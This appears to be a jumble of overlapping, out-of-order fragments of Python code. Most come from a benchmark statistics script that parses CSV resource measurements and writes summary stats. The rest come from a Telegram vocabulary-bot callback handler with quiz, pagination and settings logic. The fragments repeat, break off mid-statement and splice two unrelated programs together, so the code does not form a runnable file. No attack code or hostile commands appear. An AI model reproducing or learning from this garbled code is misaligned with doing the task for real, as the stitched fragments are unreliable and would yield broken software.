numpy.std(seq) def funcName(func): return", "'Physical Memory Available (megabytes)', }, 'process_count' : { 'data' :", "above, then don't define it again 'mem_used' : { 'data'", "'Disk IO Write Volume' }, 'child_process_count' : { 'data' :", ": [], 'title' : 'Virtual Memory Size (VMS) Memory Utilisation'", ": [], 'title' : 'Process Count' } } # due", "measurements['time']['data'][-1]) i = 0 # skip zero as its the", "else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime = False if len(timeRecords)", "config = { 'data-type-default' : int } # the aggregate", "time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]),", "there are multiple files matching the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1])", "float, 'title' : 'Physical Memory Used (megabytes)' }, 'mem_avai' :", "# --- sample --- # 'stat_name' : { # ['data-type'", "'title' : 'Child Process Count' }, ### START SYSTEM STATS", "if the stat was defined above, then don't define it", "I know. sorry! line = '%s' % 'time_gaps' for stat", "user must have defined an exact file to plot filesToCalc.append(resultsFile)", "again 'mem_used' : { 'data' : [], 'data-type' : float,", "'data-type' : float, 'title' : 'Physical Memory Used (megabytes)' },", "[] if os.path.isfile(resultsFile): # the user must have defined an", "write start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S',", "Memory Utilisation' }, 'io_read_count' : { 'data' : [], 'title'", "'measurement title' # }, # --- end sample --- ###", "float,] # 'data' : [], # 'title' : 'measurement title'", "# Set the headerOrder and remove the time column header", "dictionaries not being in order, we need to know the", "for measurement in headerOrder: if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else:", "Windows context menu. See README for help.', action='store_true') args =", "to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check if there are", "args.wincntxmnu: # args.t = raw_input('Enter the plot prefix: ') main(args.f,", "measurement for stat in stats: line = ('%s,%s' % (line,", "[], 'title' : 'Process Count' } } # due to", "from the Windows context menu. See README for help.', action='store_true')", "not being in order, we need to know the order", "%H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1]", "Set the headerOrder and remove the time column header headerOrder", "Not used #if args.wincntxmnu: # args.t = raw_input('Enter the plot", "firstTime = None for row in dataCsv: # Elapsed time", "# Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime ==", "and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1],", "order of the associated CSV columns # --- sample ---", "{ 'data' : [], 'title' : 'Number of Threads' },", "csv.reader(fcsv, delimiter=',') # Set the headerOrder and remove the time", ": [], 'data-type' : float, 'title' : 'Physical Memory Used", "{ # measurement configurations must appear in the order of", "False if len(timeRecords) == 0: print 'No data recorded in", "# check if there are multiple files matching the criteria", "[], 'title' : 'Child Process Count' }, ### START SYSTEM", "# args.t = raw_input('Enter the plot prefix: ') main(args.f, args.t)", "os.walk(dir): for filename in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart,", "i = 0 while i < len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i", ": [], 'title' : 'Disk IO Write Count' }, 'io_write_bytes'", "def q1(seq): return numpy.percentile(seq, 25) def median(seq): return numpy.percentile(seq, 50)", "timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] - timeRecords[0])", "'data' : [], 'data-type' : float, 'title' : 'Physical Memory", "# 'data' : [], # 'title' : 'measurement title' #", "time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] -", "gaps were calculated separately, run the stats on them tool", "See README for help.', action='store_true') args = parser.parse_args() # Not", "[], # 'title' : 'measurement title' # }, # ---", "associated CSV columns # --- sample --- # 'stat_name' :", ": float, 'title' : 'Time' }, 'num_threads' : { 'data'", "stat in stats: line = ('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n'", "end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d", "'data' : [], 'title' : 'Number of Threads' }, 'cpu_percent'", "file to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check if there", "{ 'data' : [], 'title' : 'Disk IO Read Volume'", "of the associated CSV columns # --- sample --- #", "1 def stat(resultsFile, toolName): print 'Running for: %s\\n' % toolName", "argparse, csv, numpy, time, os, re def main(resultsFile, toolName): filesToCalc", "+= 1 firstTime = False if len(timeRecords) == 0: print", ": 'measurement title' # }, # --- end sample ---", "return func.__name__ if __name__ == \"__main__\": parser = argparse.ArgumentParser(description =", "(line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) # now, because the time", "as scsv: print 'Writing to file: %s' % resultsFileName #", "line = '%s' % 'time_gaps' for stat in stats: line", ": 'Virtual Memory Size (VMS) Memory Utilisation' }, 'io_read_count' :", "len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i = i + 1 def stat(resultsFile,", "= '%s' % 'time_gaps' for stat in stats: line =", "# match it with the associated plot configuration above. headerOrder", "the order the data appears and # match it with", "bottom of file stats = [len, min, q1, median, mean,", ": [], 'data-type' : float, 'title' : 'Resident Set Size", "filesToCalc = [] toolNames = [] if os.path.isfile(resultsFile): # the", "'data' : [], 'title' : 'Child Process Count' }, ###", "print 'Running for: %s\\n' % toolName TIME_ELAPSED = [] TIME_GAPS", "# due to dictionaries not being in order, we need", "parser.add_argument('-f', help='Results file as input (in csv format)') parser.add_argument('-t', help='Name", "stats: line = ('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n' % line)", "resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames) in os.walk(dir): for filename in", "== 0: print 'No data recorded in %s.\\nExiting.\\n\\n' % resultsFile", "0 # skip zero as its the time (as above)", "# ['data-type' : float,] # 'data' : [], # 'title'", "columns # --- sample --- # 'stat_name' : { #", "must appear in the order of the associated CSV columns", "scsv.write('%s\\n' % line) # now, because the time gaps were", ": { 'data' : [], 'title' : 'Child Process Count'", "file as input (in csv format)') parser.add_argument('-t', help='Name of tool',", "}, 'process_count' : { 'data' : [], 'title' : 'Process", "[] config = { 'data-type-default' : int } # the", "median(seq): return numpy.percentile(seq, 50) def mean(seq): return sum(seq) / len(seq)", "%(toolName, reMatch.group(1).title())) # start plotting i = 0 while i", "time column header headerOrder = dataCsv.next() firstTime = None for", "('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n' % line) # write start", "return numpy.percentile(seq, 50) def mean(seq): return sum(seq) / len(seq) def", "its the time (as above) for measurement in headerOrder: if", "stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) # now, because the time gaps", "Count' }, 'io_write_bytes' : { 'data' : [], 'title' :", "being in order, we need to know the order the", "function name. # user-defined functions at bottom of file stats", ": [], # 'title' : 'measurement title' # }, #", "the Software Benchmarking Script') parser.add_argument('-f', help='Results file as input (in", "scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for measurement in headerOrder: line =", "as input (in csv format)') parser.add_argument('-t', help='Name of tool', default=None)", "= i + 1 def stat(resultsFile, toolName): print 'Running for:", "line = ('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n' % line) #", "Utilisation' }, 'mem_rss' : { 'data' : [], 'data-type' :", "(megabytes)', }, 'process_count' : { 'data' : [], 'title' :", "toolName): print 'Running for: %s\\n' % toolName TIME_ELAPSED = []", "# skip zero as its the time (as above) for", "Memory Size (VMS) Memory Utilisation' }, 'io_read_count' : { 'data'", "on them tool # messy, I know. sorry! line =", "tool # messy, I know. sorry! line = '%s' %", "{ 'data' : [], 'data-type' : float, 'title' : 'Physical", "# 'stat_name' : { # ['data-type' : float,] # 'data'", "of Threads' }, 'cpu_percent' : { 'data' : [], 'data-type'", "as plt import argparse, csv, numpy, time, os, re def", "if os.path.isfile(resultsFile): # the user must have defined an exact", "%s\\n' % toolName TIME_ELAPSED = [] TIME_GAPS = [] config", "end sample --- ### START CHILD PROCESS STATS ### 'time'", "Available (megabytes)', }, 'process_count' : { 'data' : [], 'title'", "'Number of Threads' }, 'cpu_percent' : { 'data' : [],", "IO Read Count' }, 'io_read_bytes' : { 'data' : [],", "times in a list timeRecords = [] with open(resultsFile, 'r')", "# measurement configurations must appear in the order of the", ": { 'data' : [], 'title' : 'Process Count' }", "a list timeRecords = [] with open(resultsFile, 'r') as fcsv:", "of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched from", ": 'Time' }, 'num_threads' : { 'data' : [], 'title'", "help='Indicates SBS stats was launched from the Windows context menu.", ": 'Child Process Count' }, ### START SYSTEM STATS ###", "fcsv: dataCsv = csv.reader(fcsv, delimiter=',') # Set the headerOrder and", "time (as above) for measurement in headerOrder: if 'data-type' in", "} # due to dictionaries not being in order, we", "','.join(map(funcName, stats))) for measurement in headerOrder: line = '%s' %", "max, std] measurements = { # measurement configurations must appear", "[], 'data-type' : float, 'title' : 'Physical Memory Available (megabytes)',", "and remove the time column header headerOrder = dataCsv.next() firstTime", "# the user must have defined an exact file to", "args = parser.parse_args() # Not used #if args.wincntxmnu: # args.t", ": 'Process Count' } } # due to dictionaries not", "# messy, I know. sorry! line = '%s' % 'time_gaps'", "(dirpath, dirnames, filenames) in os.walk(dir): for filename in filenames: reMatch", "need to know the order the data appears and #", "stats))) for measurement in headerOrder: line = '%s' % measurement", "in stats: line = ('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' %", ": [], 'title' : 'Number of Threads' }, 'cpu_percent' :", "TIME_ELAPSED = [] TIME_GAPS = [] config = { 'data-type-default'", "file stats = [len, min, q1, median, mean, q3, max,", "def main(resultsFile, toolName): filesToCalc = [] toolNames = [] if", "title' # }, # --- end sample --- ### START", "zero as its the time (as above) for measurement in", "filename in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if", "0: print 'No data recorded in %s.\\nExiting.\\n\\n' % resultsFile return", "(line, stat(TIME_GAPS))) scsv.write('%s\\n' % line) # write start and end", "- float(timeRecords[0])) if firstTime == False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i", "= False if len(timeRecords) == 0: print 'No data recorded", "data appears and # match it with the associated plot", "START CHILD PROCESS STATS ### 'time' : { 'data' :", "return numpy.std(seq) def funcName(func): return func.__name__ if __name__ == \"__main__\":", "{ 'data-type-default' : int } # the aggregate functions to", "# Not used #if args.wincntxmnu: # args.t = raw_input('Enter the", "fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title()))", "--- # 'stat_name' : { # ['data-type' : float,] #", "'r') as fcsv: dataCsv = csv.reader(fcsv, delimiter=',') # Set the", "recorded in %s.\\nExiting.\\n\\n' % resultsFile return 0 resultsFileName = '%s_stats.csv'" ]
[ "from analytics import BotAnalytics from db_manager import DbManager from lang_manager", "} data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown')", "await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def", "item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item:", "import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing import AdminMailingState import", "query.data[10:] if action == 'string': await DictionaryEditWordState.new_word_string.set() await query.message.delete() await", "reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang),", "= data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set() async with state.proxy() as", "await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async", "query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def", "+ 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await", "@self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:]", "@self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang =", "asyncio import logging # ===== External libs imports ===== from", "DictionaryState.dictionary.set() async with state.proxy() as data: data['curr_pagination_page'] = last_pagination_page else:", "query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page']", "await state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang,", "pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id'])", "user_lang = self.lang.parse_user_lang(user_id) question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang))", "user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext):", "from lang_manager import LangManager from markups_manager import MarkupManager from states.Dictionary", "'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang),", "list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data'])", "- 1 else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True)", "user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'string':", "self.bot = bot self.__init_handlers() def __init_handlers(self): # CALLBACK HANDLER FOR", "user_lang = self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if action == 'new':", "query['from']['id'], user_lang, from_lang, to_lang, state) elif action == 'find_another': await", "lang_manager: LangManager, markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher, bot: Bot):", "@self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action =", "{ 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1,", "DbManager from lang_manager import LangManager from markups_manager import MarkupManager from", "len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang),", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery):", "= query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await", "await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query:", "CALLBACKS @self.dp.callback_query_handler(lambda query: query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def", "query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set()", "if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data()", "from markups_manager import MarkupManager from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState,", "== 'all' and user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option", "bot self.__init_handlers() def __init_handlers(self): # CALLBACK HANDLER FOR USER LANGUAGE", "== 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options))", "as data: curr_q_index = data['index'] quiz_result = { 'word': data['quiz_data'][curr_q_index", "= query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings = ['disable', 'important', 'all']", "question = f\"{data['index']}/{len(data['quiz_data'])} \" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await", "data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option':", "query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page", "def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs =", "= self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if action == 'new': await", "self.lang = lang_manager self.markup = markup_manager self.analytics = analytics self.dp", "user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if selected_lang != user_lang:", "state.proxy() as data: data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query:", "await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'back_to_help') @self.analytics.callback_metric", "new_word_translation = data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string,", "'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await", "await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query:", "USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query:", "= query.data[10:] if action == 'add': async with state.proxy() as", "@self.dp.callback_query_handler(lambda query: query.data == 'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery):", "query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action", "FSMContext): current_state = { 'current_page': 0, 'from_lang': from_lang, 'to_lang': to_lang", "@self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery):", "data: new_word_string = data['search_query'] new_word_translation = data['translation'] from_lang = data['curr_pagination_page']['from_lang']", "FSMContext): await query.answer() await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async with", "{ 'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count", "to_lang, state) elif action == 'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD',", "'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang", "show_alert=True) async def _send_dictionary_page(message: types.Message, user_id: int, user_lang: str, from_lang:", "self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index !=", "DictionarySearchWordState from states.Mailing import AdminMailingState import pagination class VocabularyBotCallbackHandler: \"\"\"Class", "\"\"\"Handle HELP page question buttons\"\"\" user_id = query['from']['id'] user_lang =", "= self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer()", "self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda", "= quiz_data data['index'] = 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" +", "await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action ==", "type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext):", "self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query:", "async with state.proxy() as data: data['quiz_results'] = [] data['quiz_data'] =", "pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id'])", "= query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page = query['data'][9:] if page", "show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang", "async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang))", "query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action", "preferred interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if", "list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang))", "query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: from_lang", "'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif", "# CALLBACK HANDLER FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_'))", "query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\"", "self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await", "user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: if 'curr_pagination_page'", "= self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: if 'curr_pagination_page' in", "HANDLER FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async", "user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await query.answer()", "= self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda", "to_lang, 10) await DictionaryQuizState.user_answers.set() async with state.proxy() as data: data['quiz_results']", "user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang))", "DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action", "await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION',", "# -*- coding: utf-8 -*- # ===== Default imports =====", "reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang),", "===== Local imports ===== from analytics import BotAnalytics from db_manager", "@self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\"", "\" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question +=", "else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await", "await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index", "\"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async def", "query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action", "'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery, state:", "async with state.proxy() as data: quiz_result = { 'word': data['quiz_data'][data['index']]['word'],", "types.CallbackQuery, state: FSMContext): await query.answer() await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id'])", "f\"{data['index']}/{len(data['quiz_data'])} \" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question", "db_manager import DbManager from lang_manager import LangManager from markups_manager import", "if 'curr_pagination_page' in data: current_page = data['curr_pagination_page'] paginator = getattr(pagination,", "self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'string': await DictionaryEditWordState.new_word_string.set()", "action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last():", "class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot callback handlers\"\"\" def __init__(self,", "= getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if", "await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query:", "= curr_q_index + 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" else: question", "type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang))", "state.proxy() as data: curr_q_index = data['index'] quiz_result = { 'word':", "reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang)) else:", "await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION',", "user_lang)) await state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang,", "user_lang = self.lang.parse_user_lang(user_id) page = query['data'][9:] if page == 'interface':", "= bot self.__init_handlers() def __init_handlers(self): # CALLBACK HANDLER FOR USER", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query:", "state.proxy() as data: quiz_result = { 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index(", "self.db = db_manager self.lang = lang_manager self.markup = markup_manager self.analytics", "query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), 